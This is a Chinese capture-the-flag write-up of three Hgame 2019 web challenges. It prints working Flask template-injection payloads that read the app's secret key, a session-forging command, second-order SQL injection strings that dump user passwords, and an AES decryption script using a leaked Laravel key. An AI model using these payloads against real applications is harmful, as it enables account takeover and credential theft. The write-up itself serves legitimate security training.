php talk99,CTF题目实战：2019-Hgame-Web-Week4 - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com...

前言

最近利用空余时间做了一下Hgame,以下是部分web题题解。

happyPython

信息搜集

发现是flask，随手测试一下。http://118.25.18.223:3001/{{1+1}}

发现可能存在SSTI，打了几发payload，发现都是500，想到测试一下过滤。http://118.25.18.223:3001/%7B%7B'aa'.upper()%7D%7D

发现将()替换成了空。

SECRET_KEY获取

那么执行命令应该变得非常困难，但是网站有登录，注册功能。

随手解了一下session。

猜测可能要伪造user_id=1

那么不能执行命令，我们可以进行信息读取，获得SECRET_KEY。

探测了一下过滤，发现url_for还存在。http://118.25.18.223:3001/%7B%7Burl_for%7D%7D

进一步了解一下。url_for.__globals__

发现已经是，继续深入一下，读config。url_for.__globals__['current_app'].config

得到回显

发现'SECRET_KEY': '9RxdzNwq7!nOoK3*'

session伪造

我们进行session伪造。{u'csrf_token': u'f02a02e70216e476480f9f2be9a07eb76b96f7a5', u'_fresh': True, u'user_id': u'1', u'_id': u'91fa5db15d7b2b86be894999458190d9722d7d7aa0d5236363f921f34c7c17e63c21877fccb83bcb26984e9cac4bd72bc1dcb7750634b0997524cd3d2d9ac3f6'}

这里直接改user_id不行，本以为有csrf_token，我们需得到下一次csrf_token再伪造。

此时解密可以得到当前csrf_token。

进行伪造flask_session encode -s '9RxdzNwq7!nOoK3*' -t "{u'csrf_token': u'322ad6ee5c7fb9984464d472c7dadc35e4501756', u'_fresh': True, u'user_id': u'1', u'_id': u'91fa5db15d7b2b86be894999458190d9722d7d7aa0d5236363f921f34c7c17e63c21877fccb83bcb26984e9cac4bd72bc1dcb7750634b0997524cd3d2d9ac3f6'}"

但是发现仍然不行，这里尝试Python3，发现成功。

得到flag:hgame{Qu_bu_la1_m1ng_z1_14}。

happyPHP

信息搜集

F12发现源代码有信息泄露。

下载源码后直接搜索flag。

发现需要变成id=1的用户才会得到flag。

二次注入

同时发现高危操作。$name = DB::select("SELECT name FROM `users` WHERE `name`='".Auth::user()->name."'");

没有经过过滤，直接拼接name。

容易想到二次注入，这里注册用户。1' or 'a'='a

得到结果

发现可以注入，思考需要注入的value。

这里我直接认为注入id=1用户的密码是没有作用的(后来发现就是注密码= =)，我们发现这里的密码已加密。$user = User::create([

'name' => $request->name,

'email' => $request->email,

'password' => encrypt($request->password),

]);

我们观察到数据库信息public function up()

{

Schema::create('password_resets', function (Blueprint $table) {

$table->string('email')->index();

$table->string('token');

$table->timestamp('created_at')->nullable();

});

}

发现存在更改密码的table，那么我本以为这里还是和护网杯的一道题如出一辙，注入出id=1用户的token，更改其密码即可。

随即尝试二次注入，寻找回显点(这里不按照给我们的table字段个数和顺序来，因为上次护网杯被坑过= =,还是自己尝试靠谱)

尝试skysky' order by 1#

发现正常。

尝试skysky' order by 2#

发现500，于是确定只有1列(泄露果然不靠谱)构造。-1' union select 1#

那么注入password_resets表email和token字段即可。-1' union select (select email from password_resets)#

结果又500了，出题人给的信息真的一点不能信= =，那么干脆直接注一下users表看看。

直接注密码尝试。-1' union select (select password from users limit 0,1)#

得到eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ==

解码得到{"iv":"rnVrqfCvfJgnvSTi9z7KLw==","value":"EaR\/4fldOGP1G\/aDK8e8u1Aldmxl+yB3s+kBAaoPods=","mac":"56e2b33ecd2828fe6f417c7e98e9a588c097f083499e0cc7237bc27741e829af"}

password解密

到这我才发现前面的密码加密和护网杯那次不一样……容易非常多，也根本不存在password_reset，我说怎么路由里没看见改密码的。= =

那么继续寻找解密方式。

发现没有key，这里需要回滚git。

得到APP_KEY=base64:9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ=

于是我们已经有$key='9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ='

$iv='rnVrqfCvfJgnvSTi9z7KLw=='

$c='EaR\/4fldOGP1G\/aDK8e8u1Aldmxl+yB3s+kBAaoPods='

解密import base64

from Crypto.Cipher import AES

def decrypt(  enc ):

enc = base64.b64decode(enc)

iv = base64.b64decode('rnVrqfCvfJgnvSTi9z7KLw==')

cipher = AES.new(base64.b64decode('9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ='), AES.MODE_CBC, iv )

return cipher.decrypt( enc )

print decrypt('EaR\/4fldOGP1G\/aDK8e8u1Aldmxl+yB3s+kBAaoPods=')

得到密码9pqfPIer0Ir9UUfR

getflag

那么只差账号email了。

我们再去注入-1' union select (select email from users wh ere id=1)#

登录admin@hgame.com

9pqfPIer0Ir9UUfR

得到flaghgame{2ba146cf-b11c-4512-839f-e1fbf5e759c9}

HappyXss

这题比较简单，测试发现被过滤，则会被替换成Happy!

由于过滤较多，fuzz一下过滤，容易发现残留。这里选择用ascii码拼接的方式bypass：

(注：这里vps_ip我用127.0.0.1代替)

得到flaghgame{Xss_1s_Re@llY_Haaaaaappy!!!}